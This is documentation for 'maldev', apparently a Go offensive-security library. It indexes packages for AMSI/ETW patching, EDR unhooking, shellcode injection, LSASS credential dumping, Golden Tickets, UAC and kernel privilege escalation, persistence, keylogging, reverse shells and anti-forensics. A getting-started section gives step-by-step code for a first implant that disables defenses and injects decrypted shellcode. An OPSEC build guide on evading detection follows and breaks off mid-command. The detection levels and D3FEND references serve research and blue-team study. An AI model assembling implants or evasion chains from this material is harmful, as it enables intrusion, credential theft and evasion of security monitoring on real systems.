Documentation Index
The navigation spine for everything in docs/. Three ways in, depending on
what you came for.
[!TIP] If you don't know where to start, pick a role first; the role page walks you through a curated reading order.
By role
| Role | What you get |
|---|---|
| 🟥 Operator (red team) | Production chains, OPSEC, payload delivery, common scenarios |
| 🔬 Researcher (R&D) | Architecture, Caller pattern, paper references, Windows-version deltas |
| 🟦 Detection engineer (blue team) | Per-technique artifacts, telemetry, D3FEND counters, hunt examples |
By technique area
Each area page lists every technique in the area with a one-liner; click through for the full template (Primer / How It Works / API / Examples / OPSEC / MITRE / Limitations / See also).
| Area | Pages | What's covered |
|---|---|---|
| c2 | 6 | reverse shell + reconnect, transport (TLS/JA3), Meterpreter staging, multicat, named pipe |
| cleanup | 7 | self-delete, secure wipe, timestomp, ADS, BSOD, service hide |
| collection | 5 | keylog, clipboard, screenshot, ADS, LSASS dump |
| credentials | 4 | LSASS dump, sekurlsa parser, SAM offline, Golden Ticket |
| crypto | 1 | payload encryption (AES-GCM, ChaCha20) and signature-breaking transforms (XTEA, S-Box, Matrix, ArithShift, XOR) |
| encode | 1 | Base64 (std + URL), UTF-16LE, ROT13, PowerShell -EncodedCommand |
| hash | 2 | cryptographic hashes (MD5/SHA-*), ROR13 API hashing, fuzzy hashes (ssdeep, TLSH) |
| evasion | 19 | AMSI/ETW patches, ntdll unhook, sleep mask, ACG, BlockDLLs, callstack spoof, kernel callback removal, anti-VM/sandbox/timing |
| injection | 12 | CreateThread, EarlyBird APC, ThreadHijack, SectionMap, KernelCallback, Phantom DLL, ThreadPool, NtQueueApcThreadEx, EtwpCreateEtwThread, … |
| pe | 7 | strip & sanitize, BOF loader, morph, PE-to-shellcode, certificate theft, masquerade |
| persistence | 6 | Run/RunOnce, startup folder LNK, scheduled task, service, account creation |
| runtime | 2 | BOF / COFF loader, in-process .NET CLR hosting |
| syscalls | 3 | direct & indirect syscalls, API hashing (ROR13, FNV1a, …), SSN resolvers (Hell's / Halo's / Tartarus / Hash Gate) |
| tokens | 3 | token theft, impersonation, privilege escalation |
By MITRE ATT&CK ID
By package
Grouped by area, expandable. Click any package name to jump to its
pkg.go.dev godoc; expand an area to scan every package's detection
level and one-line summary in one place.
Each area is collapsed by default — click to expand. Detection level is the canonical 5-level scale (very-quiet → very-noisy); umbrella / variable packages show as —.
Layer 0 — pure-Go primitives (`crypto`, `encode`, `hash`, `random`, `useragent`) — 5 packages
| Package | Detection | Summary |
|---|---|---|
crypto | very-quiet | provides cryptographic primitives for payload encryption / decryption and lightweight obfuscation |
encode | very-quiet | provides encoding / decoding utilities for payload transformation: Base64 (standard + URL-safe), UTF-16LE (Windows API strings), ROT13, and PowerShell -EncodedCommand format |
hash | very-quiet | provides cryptographic and fuzzy hash primitives for integrity verification, API hashing, and similarity detection |
random | very-quiet | provides cryptographically secure random generation helpers backed by crypto/rand (OS entropy) |
useragent | very-quiet | provides a curated database of real-world browser User-Agent strings for HTTP traffic blending |
Windows primitives — `win/*` — 10 packages
| Package | Detection | Summary |
|---|---|---|
win | — | is the parent umbrella for Windows-only primitives |
win/api | very-quiet | is the single source of truth for Windows DLL handles, procedure references, and structures shared across maldev |
win/com | — | holds Windows COM helpers shared across maldev |
win/domain | very-quiet | queries Windows domain-membership state — whether the host is workgroup-only, joined to an Active Directory domain, or in an unknown state |
win/impersonate | moderate | runs callbacks under an alternate Windows security context — by credential, by stolen token, or by piggy- backing on a target PID |
win/ntapi | quiet | exposes a small set of typed Go wrappers over ntdll!Nt* functions that maldev components use frequently — memory allocation, write/protect, thread creation, and system information query |
win/privilege | moderate | answers two operational questions: am I admin right now, and how do I run something else as a different principal? It wraps IsAdmin / IsAdminGroupMember for privilege detection and three execution primitives — ExecAs, CreateProcessWithLogon, ShellExecuteRunAs — for spawning processes under alternate credentials |
win/syscall | quiet | provides five strategies for invoking Windows NT syscalls — from a hookable kernel32 call to fully indirect SSN dispatch through an in-ntdll syscall;ret gadget (heap stub or Go-assembly stub) — under one uniform [Caller] interface |
win/token | moderate | wraps Windows access-token operations: open/duplicate process and thread tokens, steal a token from another PID, enable or remove individual privileges, query integrity level, and retrieve the active interactive session's primary token |
win/version | very-quiet | reports the running Windows OS version, build, and patch level — bypassing the manifest-compatibility shim that masks GetVersionEx results to the manifest-declared compatibility target |
Kernel BYOVD — `kernel/driver/*` — 2 packages
| Package | Detection | Summary |
|---|---|---|
kernel/driver | very-noisy | defines the kernel-memory primitive interfaces consumed by EDR-bypass packages that need arbitrary kernel reads or writes (kcallback, lsassdump PPL-bypass, callback-array tampering, …) |
kernel/driver/rtcore64 | very-noisy | wraps the MSI Afterburner RTCore64.sys signed driver (CVE-2019-16098) as a [kernel/driver.ReadWriter] primitive |
Evasion — `evasion/*` — 15 packages
| Package | Detection | Summary |
|---|---|---|
evasion | — | is the umbrella for active EDR / AV evasion |
evasion/acg | quiet | enables Arbitrary Code Guard for the current process so the kernel refuses any further VirtualAlloc(PAGE_EXECUTE) / VirtualProtect(PAGE_EXECUTE) requests |
evasion/amsi | noisy | disables the Antimalware Scan Interface in the current process via runtime memory patches on amsi.dll |
evasion/blockdlls | quiet | applies the PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES mitigation so the loader refuses any DLL that isn't Microsoft-signed |
evasion/callstack | quiet | synthesises a return-address chain so a stack walker at a protected-API call site sees frames that originate from a benign thread-init sequence rather than from the attacker module |
evasion/cet | noisy | inspects and relaxes Intel CET (Control-flow Enforcement Technology) shadow-stack enforcement for the current process, and exposes the ENDBR64 marker required by CET-gated indirect call sites |
evasion/etw | moderate | blinds Event Tracing for Windows in the current process by patching the ETW write helpers in ntdll.dll with xor rax,rax; ret |
evasion/hook | noisy | installs x64 inline hooks on exported Windows functions: patch the prologue with a JMP to a Go callback, automatically generate a trampoline for calling the original, and fix up RIP-relative instructions in the stolen prologue |
evasion/hook/bridge | moderate | is the bidirectional control channel between a hook handler installed inside a target process and the implant that placed it |
evasion/hook/shellcode | noisy | ships pre-fabricated x64 position-independent shellcode blobs used as handler bodies for [github.com/oioio-space/maldev/evasion/hook].RemoteInstall |
evasion/kcallback | very-noisy | enumerates and removes kernel-mode callback registrations that EDR products use to observe process/thread/image- load events from the kernel side |
evasion/preset | — | bundles evasion.Technique primitives into three validated risk levels for one-shot deployment |
evasion/sleepmask | quiet | encrypts the implant's payload memory while it sleeps so concurrent memory scanners cannot recover the original shellcode bytes or PE headers |
evasion/stealthopen | quiet | reads files via NTFS Object ID (the 128-bit GUID stored in the MFT) instead of by path, bypassing path-based EDR hooks on NtCreateFile / CreateFileW |
evasion/unhook | noisy | restores the original prologue bytes of ntdll.dll functions, removing inline hooks installed by EDR/AV products |
Injection — `inject` — 1 package
| Package | Detection | Summary |
|---|---|---|
inject | noisy | provides unified shellcode injection across Windows and Linux with a fluent builder, decorator middleware, and automatic fallback between methods |
PE manipulation — `pe/*` — 9 packages
| Package | Detection | Summary |
|---|---|---|
pe | — | is the umbrella for Portable Executable analysis, manipulation, and conversion utilities |
pe/cert | quiet | manipulates the PE Authenticode security directory — read, copy, strip, and write WIN_CERTIFICATE blobs without any Windows crypto API |
pe/dllproxy | very-quiet | emits a valid Windows DLL — as raw bytes, no external toolchain — that forwards every named export back to a legitimate target DLL |
pe/imports | very-quiet | enumerates a PE's import directory — every DLL dependency and every imported function name — without invoking any Windows API |
pe/masquerade | quiet | clones a Windows PE's identity — manifest, icons, VERSIONINFO, optional Authenticode certificate — into a linkable .syso COFF object so a Go binary picks them up at compile time |
pe/morph | moderate | mutates UPX-packed PE headers so automatic unpackers fail to recognise the input |
pe/parse | very-quiet | provides PE file parsing and modification utilities |
pe/srdi | moderate | converts PE / .NET / script payloads into position-independent shellcode via the Donut framework (github.com/Binject/go-donut) |
pe/strip | quiet | sanitises Go-built PE binaries by removing toolchain artefacts that fingerprint the producer |
Runtime loaders — `runtime/*` — 2 packages
| Package | Detection | Summary |
|---|---|---|
runtime/bof | moderate | loads and executes Beacon Object Files (BOFs) — compiled COFF object files (.o) — entirely in process memory |
runtime/clr | moderate | hosts the .NET Common Language Runtime in process via the ICLRMetaHost / ICorRuntimeHost COM interfaces and executes managed assemblies from memory without writing them to disk |
Recon — `recon/*` — 9 packages
| Package | Detection | Summary |
|---|---|---|
recon/antidebug | quiet | detects whether a debugger is currently attached to the implant — Windows via IsDebuggerPresent (PEB BeingDebugged), Linux via /proc/self/status TracerPid |
recon/antivm | quiet | detects virtual machines and hypervisors via configurable check dimensions: registry keys, files, MAC prefixes, processes, CPUID/BIOS, and DMI info |
recon/dllhijack | moderate | discovers DLL-search-order hijack opportunities on Windows — places where an application loads a DLL from a user-writable directory BEFORE reaching the legitimate copy (typically in System32) |
recon/drive | quiet | enumerates Windows logical drives and watches for newly connected removable / network volumes |
recon/folder | very-quiet | resolves Windows special folder paths via two Shell32 entry points: [Get] (legacy SHGetSpecialFolderPathW, CSIDL-keyed) and [GetKnown] (modern SHGetKnownFolderPath, KNOWNFOLDERID-keyed) |
recon/hwbp | moderate | detects and clears hardware breakpoints set by EDR products on NT function prologues — surviving the classic ntdll-on-disk-unhook pass |
recon/network | very-quiet | provides cross-platform IP address retrieval and local-address detection |
recon/sandbox | quiet | is the multi-factor sandbox / VM / analysis-environment detector — a configurable orchestrator that aggregates checks across recon/antidebug, recon/antivm, and its own primitives into a single "is this a sandbox?" assessment |
recon/timing | quiet | provides time-based evasion that defeats sandboxes which fast-forward Sleep() calls — sandboxes commonly hook Sleep / WaitForSingleObject to skip the delay and analyse what the implant does next |
Process — `process/*` + `process/tamper/*` — 7 packages
| Package | Detection | Summary |
|---|---|---|
process | — | is the umbrella for cross-platform process enumeration / management, plus the Windows-specific process-tamper sub-tree |
process/enum | quiet | provides cross-platform process enumeration — list every running process or find one by name / predicate |
process/session | moderate | enumerates Windows sessions and creates processes / impersonates threads inside other users' sessions |
process/tamper/fakecmd | quiet | overwrites the current process's PEB CommandLine UNICODE_STRING so process-listing tools (Process Explorer, wmic, Get-Process, Task Manager) display a fake command-line instead of the real one |
process/tamper/herpaderping | moderate | implements Process Herpaderping and the related Process Ghosting variant — kernel image-section cache exploitation that lets the running process execute one PE while the file on disk reads as another (or doesn't exist) |
process/tamper/hideprocess | moderate | patches NtQuerySystemInformation in a target process so it returns STATUS_NOT_IMPLEMENTED, blinding that process's ability to enumerate running processes |
process/tamper/phant0m | noisy | suppresses Windows Event Log recording by terminating the EventLog service threads inside the hosting svchost.exe — the service stays "Running" in the SCM listing but no new entries are written |
Credentials — `credentials/*` — 4 packages
| Package | Detection | Summary |
|---|---|---|
credentials/goldenticket | noisy | forges Kerberos Golden Tickets — long-lived TGTs minted with a stolen krbtgt account hash |
credentials/lsassdump | noisy | produces a MiniDump blob of lsass.exe's memory so downstream tooling (credentials/sekurlsa, mimikatz, pypykatz) can extract Windows credentials |
credentials/samdump | quiet | performs offline NT-hash extraction from a SAM hive (with the SYSTEM hive supplying the boot key) |
credentials/sekurlsa | quiet | extracts credential material from a Windows LSASS minidump — the consumer counterpart to credentials/lsassdump |
Collection — `collection/*` — 4 packages
| Package | Detection | Summary |
|---|---|---|
collection | — | groups local data-acquisition primitives for post-exploitation: keystrokes, clipboard contents, screen captures |
collection/clipboard | quiet | reads and watches the Windows clipboard text |
collection/keylog | noisy | captures keystrokes via a low-level keyboard hook (SetWindowsHookEx(WH_KEYBOARD_LL)) |
collection/screenshot | quiet | captures the screen via GDI BitBlt and returns PNG bytes |
Cleanup — `cleanup/*` — 8 packages
| Package | Detection | Summary |
|---|---|---|
cleanup | quiet | is the umbrella for on-host artefact removal / anti-forensics primitives that run after an operation completes |
cleanup/ads | quiet | provides CRUD operations for NTFS Alternate Data Streams |
cleanup/bsod | very-noisy | triggers a Blue Screen of Death via NtRaiseHardError as a last-resort cleanup primitive |
cleanup/memory | very-quiet | provides secure memory cleanup primitives for wiping sensitive data (shellcode, keys, credentials) from process memory |
cleanup/selfdelete | moderate | deletes the running executable from disk while the process continues to execute from its mapped image |
cleanup/service | noisy | hides Windows services from listing utilities by applying a restrictive DACL on the service object |
cleanup/timestomp | quiet | resets a file's NTFS $STANDARD_INFORMATION timestamps so a dropped artifact blends with surrounding files |
cleanup/wipe | quiet | overwrites file contents with cryptographically random data before deletion to defeat trivial forensic recovery |
Persistence — `persistence/*` — 7 packages
| Package | Detection | Summary |
|---|---|---|
persistence | — | is the umbrella for system persistence techniques — mechanisms that re-launch an implant across reboots and user logons |
persistence/account | noisy | provides Windows local user account management via NetAPI32 — create, delete, set password, manage group membership, enumerate |
persistence/lnk | quiet | creates Windows shortcut (.lnk) files via COM/OLE automation — fluent builder API, fully Windows-only |
persistence/registry | moderate | implements Windows registry Run / RunOnce key persistence — the canonical "auto-launch on logon" hook |
persistence/scheduler | moderate | creates, deletes, lists, and runs Windows scheduled tasks via the COM ITaskService API — no schtasks.exe child process |
persistence/service | noisy | implements Windows service persistence via the Service Control Manager — the highest-trust persistence mechanism available, running as SYSTEM at boot |
persistence/startup | moderate | implements StartUp-folder persistence via LNK shortcut files — Windows Shell launches every shortcut in the folder at user logon |
Privilege escalation — `privesc/*` — 2 packages
| Package | Detection | Summary |
|---|---|---|
privesc/cve202430088 | noisy | implements CVE-2024-30088 — a Windows kernel TOCTOU race in AuthzBasepCopyoutInternalSecurityAttributes that yields local privilege escalation to NT AUTHORITY\SYSTEM by overwriting the calling thread's primary token with lsass.exe's SYSTEM token |
privesc/uac | noisy | implements four classic UAC-bypass primitives that hijack auto-elevating Windows binaries to spawn an elevated process without a consent prompt |
C2 — `c2/*` — 7 packages
| Package | Detection | Summary |
|---|---|---|
c2 | — | provides command and control building blocks: reverse shells, Meterpreter staging, pluggable transports (TCP / TLS / uTLS / named pipe), mTLS certificate helpers, and session multiplexing |
c2/cert | quiet | provides self-signed X.509 certificate generation and fingerprint computation for C2 TLS infrastructure |
c2/meterpreter | noisy | implements Metasploit Framework staging — pulls a second-stage Meterpreter payload from a multi/handler and executes it in the current process or a target picked via the optional Config.Injector |
c2/multicat | quiet | provides a multi-session reverse-shell listener for operator use |
c2/shell | noisy | provides a reverse shell with automatic reconnection, PTY support, and optional Windows evasion integration |
c2/transport | moderate | provides pluggable network transport implementations for C2 communication: plain TCP, TLS with optional certificate pinning, and uTLS for JA3/JA4 fingerprint randomisation |
c2/transport/namedpipe | quiet | provides a Windows named-pipe transport implementing the [github.com/oioio-space/maldev/c2/transport] Transport and Listener interfaces |
UI utilities — 1 package
| Package | Detection | Summary |
|---|---|---|
ui | very-quiet | exposes minimal Windows UI primitives — MessageBoxW via Show and the system alert sound via Beep |
Cross-cutting guides
| Guide | What it explains |
|---|---|
| getting-started.md | Concepts, terminology, your first implant |
| architecture.md | Layered design, dependency flow, Mermaid diagrams |
| opsec-build.md | Build pipeline: garble, pe/strip, masquerade |
| mitre.md | Full MITRE ATT&CK + D3FEND mapping |
| testing.md | Per-test-type details: injection matrix, Meterpreter sessions, BSOD |
| vm-test-setup.md | Bootstrap a fresh host (VMs, SSH keys, INIT snapshot) |
| coverage-workflow.md | Reproducible cross-platform coverage collection |
Conventions
| Doc | Audience |
|---|---|
| conventions/documentation.md | Anyone editing docs (this is the source of truth for templates, GFM features, voice, migration order) |
| refactor-2026-doc/audit-2026-04-27.md | Snapshot of pre-refactor state — how we got here |
Getting Started
Welcome to maldev — a modular Go library for offensive security research. This guide assumes zero malware development experience.
Prerequisites
- Go 1.21+ installed
- Windows for most techniques (some work cross-platform)
- Basic Go knowledge (functions, packages, error handling)
- For OPSEC builds:
garble(go install mvdan.cc/garble@latest)
Installation
go get github.com/oioio-space/maldev@latest
Core Concepts
What is maldev?
maldev is a library, not a framework. You import the packages you need and compose them:
graph LR
A[Your implant] --> B[inject/ — run shellcode]
A --> C[evasion/ — avoid detection]
A --> D[c2/ — communicate home]
A --> E[cleanup/ — cover tracks]
The Five Levels of Stealth
Every technique has a detection level declared in its doc.go.
Choose based on your threat model:
| Level | Meaning | Example |
|---|---|---|
| very-quiet | Indistinguishable from baseline activity | RtlGetVersion, NetGetJoinInformation |
| quiet | Used routinely but in attacker-shaped patterns | Indirect syscall, hash-resolved import |
| moderate | Watched by EDR but common in benign software | RWX VirtualAlloc, thread creation |
| noisy | Pattern is in every vendor's signature DB | Cross-process inject, UAC bypass |
| very-noisy | Triggers an alert by default | NtLoadDriver for an unsigned driver, NtUnloadDriver |
Find the detection level for any package on its tech-md page (e.g.,
docs/techniques/evasion/amsi-bypass.md)
and in its doc.go # Detection level section.
The Caller Pattern
The most important concept in maldev. Every function that calls Windows NT syscalls accepts an optional *wsyscall.Caller:
// Without Caller — uses standard WinAPI (hookable by EDR)
injector, _ := inject.NewInjector(&inject.Config{
Method: inject.MethodCreateRemoteThread,
PID: pid,
})
injector.Inject(shellcode)
// With Caller — routes through indirect syscalls (bypasses EDR hooks)
injector, _ = inject.Build().
Method(inject.MethodCreateRemoteThread).
PID(pid).
IndirectSyscalls().
Create()
injector.Inject(shellcode)
Rule of thumb: Always create a Caller for real operations. Pass nil only for testing.
Your First Program
Step 1: Evasion (disable defenses)
package main
import (
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/amsi"
"github.com/oioio-space/maldev/evasion/etw"
)
func main() {
// Apply evasion techniques before doing anything suspicious
techniques := []evasion.Technique{
amsi.ScanBufferPatch(), // disable AMSI scanning
etw.All(), // disable ETW logging
}
evasion.ApplyAll(techniques, nil) // nil = standard WinAPI
}
Step 2: Load shellcode
import "github.com/oioio-space/maldev/crypto"
// Decrypt your payload (encrypted at build time)
key := []byte{/* your 32-byte AES key */}
shellcode, _ := crypto.DecryptAESGCM(key, encryptedPayload)
Step 3: Inject
import "github.com/oioio-space/maldev/inject"
cfg := &inject.Config{
Method: inject.MethodCreateThread, // self-injection
}
injector, _ := inject.NewInjector(cfg)
injector.Inject(shellcode)
Step 4: Build for operations
# Development build (with logging)
make debug
# Release build (OPSEC, no strings, no debug info)
make release
Per-Package Quick-Reference
If you know the technique you want, jump straight to the matching package:
| Goal | Package | Doc |
|---|---|---|
| Encrypt the payload before embedding | crypto | Payload Encryption |
| Encode the payload for transport | encode | Encode |
| Patch AMSI / ETW in-process | evasion/amsi, evasion/etw | AMSI · ETW |
| Restore hooked ntdll | evasion/unhook | NTDLL Unhooking |
| Sleep with masked memory | evasion/sleepmask | Sleep Mask |
| Spoof a callstack frame | evasion/callstack | Callstack Spoof |
| Remove EDR kernel callbacks | evasion/kcallback | Kernel-Callback Removal |
| BYOVD kernel R/W | kernel/driver (rtcore64) | BYOVD RTCore64 |
| Direct/indirect syscalls | win/syscall | Syscall Methods |
| Inject shellcode | inject/* (15 methods) | Injection |
| Reflectively load a PE | pe/srdi | PE → Shellcode |
| Strip Go fingerprints | pe/strip | Strip + Sanitize |
| Run a .NET assembly in-process | runtime/clr | Runtime |
| Run a Beacon Object File | runtime/bof | Runtime |
| Dump LSASS | credentials/lsassdump | LSASS Dump |
| Parse a MINIDUMP for NT hashes | credentials/sekurlsa | LSASS Parse |
| Bypass UAC | privesc/uac | Privilege |
| Spoof a process command-line | process/tamper/fakecmd | FakeCmd |
| Suspend Event Log threads | process/tamper/phant0m | Phant0m |
| Persistence — registry | persistence/registry | Registry |
| Persistence — Startup folder | persistence/startup | Startup Folder |
| Persistence — scheduled task | persistence/scheduler | Task Scheduler |
| Capture clipboard / keys / screen | collection/{clipboard,keylog,screenshot} | Collection |
| Reverse shell | c2/shell | Reverse Shell |
| Metasploit staging | c2/meterpreter | Meterpreter |
| Multi-session listener (operator side) | c2/multicat | Multicat |
| Named-pipe transport | c2/transport/namedpipe | Named Pipe |
| Wipe in-process buffers | cleanup/memory | Memory Wipe |
| Self-delete on exit | cleanup/selfdel | Self-Delete |
| Compute fuzzy hash similarity | hash | Fuzzy Hashing |
For the full layered map, see Architecture § Per-Package Quick-Reference.
What to Read Next
| Goal | Read |
|---|---|
| Understand the architecture | Architecture |
| Learn injection techniques | Injection Techniques |
| Learn EDR evasion | Evasion Techniques |
| Understand syscall bypass | Syscall Methods |
| Set up C2 communication | C2 & Transport |
| Build for operations | OPSEC Build Guide |
| See composed examples | Examples |
| Full MITRE coverage | MITRE ATT&CK + D3FEND Mapping |
Terminology Quick Reference
| Term | Meaning |
|---|---|
| Shellcode | Raw machine code bytes that execute independently |
| Injection | Running code in another process's address space |
| EDR | Endpoint Detection & Response (e.g., CrowdStrike, Defender) |
| Hook | EDR modification of function prologues to intercept calls |
| Syscall | Direct kernel call, bypassing userland hooks |
| SSN | Syscall Service Number — index into kernel's function table |
| PEB | Process Environment Block — per-process kernel structure |
| AMSI | Antimalware Scan Interface — Microsoft's content scanning API |
| ETW | Event Tracing for Windows — kernel telemetry system |
| Caller | maldev's abstraction for choosing syscall routing method |
| OPSEC | Operational Security — avoiding detection and attribution |
Architecture
Layered Design
maldev follows a strict bottom-up dependency model. Each layer only depends on layers below it.
graph TD
subgraph "Layer 0 — Pure Go (no OS calls)"
crypto["crypto/"]
encode["encode/"]
hash["hash/"]
random["random/"]
useragent["useragent/"]
end
subgraph "Layer 1 — OS Primitives"
api["win/api<br>DLL handles, PEB walk, API hashing"]
syscall["win/syscall<br>Direct/Indirect syscalls, HashGate"]
ntapi["win/ntapi<br>Typed NT wrappers, handle enum"]
token["win/token<br>Token manipulation"]
privilege["win/privilege<br>Elevation helpers"]
impersonate["win/impersonate<br>Thread impersonation"]
version["win/version<br>Version detection"]
domain["win/domain<br>Domain membership"]
kerneldriver["kernel/driver<br>BYOVD primitives (Reader/Writer/Lifecycle)"]
end
subgraph "Layer 2 — Techniques"
inject["inject/<br>15 injection methods"]
evasion["evasion/<br>active evasion (amsi, etw, unhook, sleepmask, callstack, kcallback, …)"]
recon["recon/<br>read-only discovery (antidebug, antivm, sandbox, timing, hwbp, dllhijack, drive, folder, network)"]
cleanup["cleanup/<br>memory, files, timestamps, ads, bsod"]
pe["pe/<br>parse, strip, morph, srdi, cert, masquerade, imports"]
runtime["runtime/<br>in-process loaders (clr, bof)"]
process_tamper["process/tamper/<br>hideprocess, herpaderping, fakecmd, phant0m"]
process["process/<br>enum, session"]
ui["ui/<br>MessageBox + sounds"]
credentials["credentials/<br>lsassdump (LSASS dump + PPL unprotect)"]
privesc["privesc/<br>uac (4 bypass) + cve202430088 (kernel LPE)"]
persistence["persistence/<br>registry, startup, scheduler, service, lnk, account"]
end
subgraph "Layer 3 — Orchestration"
shell["c2/shell<br>Reverse shell + state machine"]
meterpreter["c2/meterpreter<br>Metasploit staging"]
transport["c2/transport<br>TCP, TLS, uTLS, Malleable HTTP"]
cert["c2/cert<br>Certificate generation"]
end
%% Dependencies
api --> hash
syscall --> api
ntapi --> api
inject --> api
inject --> syscall
evasion --> api
evasion --> syscall
evasion --> kerneldriver
kerneldriver --> api
credentials --> kerneldriver
privesc --> ntapi
privesc --> token
privesc --> inject
process_tamper --> api
shell --> transport
shell --> evasion
meterpreter --> transport
meterpreter --> inject
meterpreter --> useragent
Caller Pattern
The *wsyscall.Caller is the central OPSEC mechanism. Any function that calls NT syscalls accepts an optional Caller parameter:
flowchart LR
A[Your Code] --> B{Caller?}
B -->|nil| C[Standard WinAPI<br>kernel32 → ntdll]
B -->|WinAPI| C
B -->|NativeAPI| D[ntdll directly]
B -->|Direct| E[Syscall stub<br>in RW→RX page]
B -->|Indirect| F[Jump to ntdll<br>syscall;ret gadget]
E --> G[SSN Resolver]
F --> G
G --> H{Resolver Type}
H -->|HellsGate| I[Read prologue]
H -->|HalosGate| J[Scan neighbors]
H -->|TartarusGate| K[Follow JMP hook]
H -->|HashGate| L[PEB walk + ROR13]
Evasion Composition
Evasion techniques compose via the evasion.Technique interface:
flowchart TD
A[Configure Techniques] --> B["techniques := []evasion.Technique{
amsi.ScanBufferPatch(),
etw.All(),
unhook.Full(),
}"]
B --> C["evasion.ApplyAll(techniques, caller)"]
C --> D{Each technique}
D --> E[AMSI: Patch prologue]
D --> F[ETW: Patch 6 functions]
D --> G[Unhook: Restore .text]
E --> H[Ready for injection]
F --> H
G --> H
Memory Protection Lifecycle
All injection methods follow the RW→RX pattern (never RWX):
stateDiagram-v2
[*] --> Allocate: VirtualAlloc(PAGE_READWRITE)
Allocate --> Write: Copy shellcode
Write --> Protect: VirtualProtect(PAGE_EXECUTE_READ)
Protect --> Execute: CreateThread / APC / Callback
Execute --> Cleanup: WipeAndFree / Sleep Mask
Cleanup --> [*]
state "Sleep Mask Cycle" as SM {
[*] --> Encrypt: XOR + PAGE_READWRITE
Encrypt --> Sleep: time.Sleep / BusyWaitTrig
Sleep --> Decrypt: XOR + Restore original
Decrypt --> [*]
}
Execute --> SM: Between beacons
SM --> Execute: Wake up
Per-Package Quick-Reference
One-line "what's in here" for every shipping package, grouped by layer. Click any package name to jump to its area-doc or technique page.
Layer 0 — Pure Go (no OS calls)
| Package | Surface |
|---|---|
crypto/ | AES-GCM, ChaCha20, RC4, XOR, TEA/XTEA, S-box, matrix, arith — payload encryption + obfuscation primitives |
encode/ | Base64 (std + URL), UTF-16LE, PowerShell -EncodedCommand, ROT13 |
hash/ | MD5/SHA1/SHA256/SHA512, ROR13 (API hashing), ssdeep, TLSH |
random/ | Crypto-secure random bytes, XOR-shift PRNG |
useragent/ | Browser-realistic User-Agent strings |
Layer 1 — OS Primitives
| Package | Surface |
|---|---|
win/api | DLL handles (User32, Kernel32, …), PEB walk, API hashing |
win/syscall | Direct + Indirect syscalls, HashGate lookup |
win/ntapi | Typed Nt* wrappers, handle enumeration |
win/token | Token open/duplicate/info |
win/privilege | Elevation helpers (SeDebugPrivilege, …) |
win/impersonate | Thread impersonation |
win/version, win/domain | Version + domain membership |
kernel/driver | KernelReader / KernelReadWriter BYOVD interfaces (rtcore64 impl) |
process/enum, process/session | Process enumeration + session helpers |
Layer 2 — Techniques (active)
| Package | Surface |
|---|---|
evasion/amsi | PatchScanBuffer, PatchOpenSession, All |
evasion/etw | EtwEventWrite patch, EtwTi patch, All |
evasion/unhook | Restore ntdll text section |
evasion/sleepmask | Ekko, Foliage, multi-region rotation |
evasion/callstack | SpoofCall synthetic frames |
evasion/kcallback | Enumerate, Remove, Restore (BYOVD) |
evasion/preset | Apply, ApplyAll orchestration |
kernel/driver/rtcore64 | RTCore64 BYOVD driver lifecycle (moved out of evasion/ — Layer 1 BYOVD primitive) |
evasion/stealthopen | Opener interface + transactional NTFS |
process/tamper/fakecmd | PEB CommandLine spoof |
process/tamper/hideprocess | Process Hacker / Explorer in-memory patch |
process/tamper/phant0m | Suspend EventLog threads |
recon/* | antidebug, antivm, sandbox, timing, hwbp, dllhijack, drive, folder, network |
inject/ | 15 injection methods (CRT, EarlyBird, ETW thread, KernelCallbackTable, ModuleStomp, NtQueueApcEx, RemoteThread, SectionMap, ThreadHijack, ThreadPool, …) |
pe/* | parse, strip, morph (UPX), srdi, cert, masquerade, imports |
cleanup/* | memory wipe, self-delete, timestomp, ADS |
runtime/clr | In-process .NET CLR host |
runtime/bof | Beacon Object File loader |
credentials/lsassdump | LSASS minidump producer + PPL bypass |
credentials/sekurlsa | MINIDUMP → MSV1_0 NT-hash extractor (cross-platform) |
privesc/uac | 4 UAC bypass primitives + EventVwrLogon alt-creds variant |
privesc/cve202430088 | CVE-2024-30088 kernel TOCTOU → SYSTEM token swap |
Layer 2 — Post-exploitation
| Package | Surface |
|---|---|
persistence/registry | Run, RunOnce, image-file-execution-options |
persistence/startup | .lnk drop in user/all-users Startup |
persistence/scheduler | schtasks wrapper with trigger options |
persistence/service | SCM service install (auto-start / on-demand / kernel-driver) |
persistence/lnk | Shortcut creation with hidden window + minimised state |
persistence/account | Local user / group manipulation via NetUserAdd / NetLocalGroupAddMembers |
collection/clipboard | ReadText, Watch |
collection/keylog | Low-level WH_KEYBOARD_LL hook + Ctrl+V capture |
collection/screenshot | Per-monitor + virtual-desktop PNG capture |
collection/ads | NTFS Alternate Data Streams |
Layer 3 — Orchestration
| Package | Surface |
|---|---|
c2/shell | Reverse-shell state machine + PPID-spoofer |
c2/meterpreter | Metasploit reverse-staging (TCP/HTTP/HTTPS/TLS) |
c2/transport | TCP, TLS, uTLS, malleable HTTP, named-pipe |
c2/multicat | Operator-side multi-session listener |
c2/cert | Self-signed cert generation |
Build Pipeline
flowchart LR
A[Source Code] --> B[garble -literals -tiny]
B --> C[go build -trimpath -ldflags='-s -w']
C --> D[pe/strip.Sanitize]
D --> E[Optional: UPX pack]
E --> F[pe/morph.UPXMorph]
F --> G[Final Binary]
style B fill:#f96
style D fill:#f96
style F fill:#f96
OPSEC Build Pipeline
Building maldev implants for operational use requires stripping Go-specific artifacts that EDR/AV products use for detection.
Quick Start
# Install garble (one-time)
make install-garble
# OPSEC release build
make release BINARY=payload.exe CMD=./cmd/rshell
# Debug build (with logging)
make debug BINARY=debug.exe CMD=./cmd/rshell
What Gets Stripped
| Artifact | Detection Risk | Mitigation |
|---|---|---|
.pclntab (Go PC-line table) | Critical — single most reliable Go identifier | garble randomizes it |
Package paths (github.com/oioio-space/maldev/inject) | High — static YARA rules | garble + -trimpath |
String literals ("NtAllocateVirtualMemory") | High — signature fodder | garble -literals + CallByHash |
| Symbol table | Medium — function names visible in debugger | -ldflags="-s" strips it |
| DWARF debug info | Medium — source file references | -ldflags="-w" strips it |
| Build ID | Low — links to build environment | -buildid= empties it |
| Console window | Low — visible to user | -H windowsgui hides it |
| Runtime panic strings | Low — "goroutine", "fatal error" | garble -tiny removes them |
Build Modes
Development (default)
go build -trimpath -ldflags="-s -w" -o dev.exe ./cmd/rshell
- Symbols stripped, debug info stripped, paths trimmed
- Still identifiable as Go (pclntab intact, strings visible)
- Use for: testing, development, non-operational builds
Release (OPSEC)
CGO_ENABLED=0 garble -literals -tiny -seed=random \
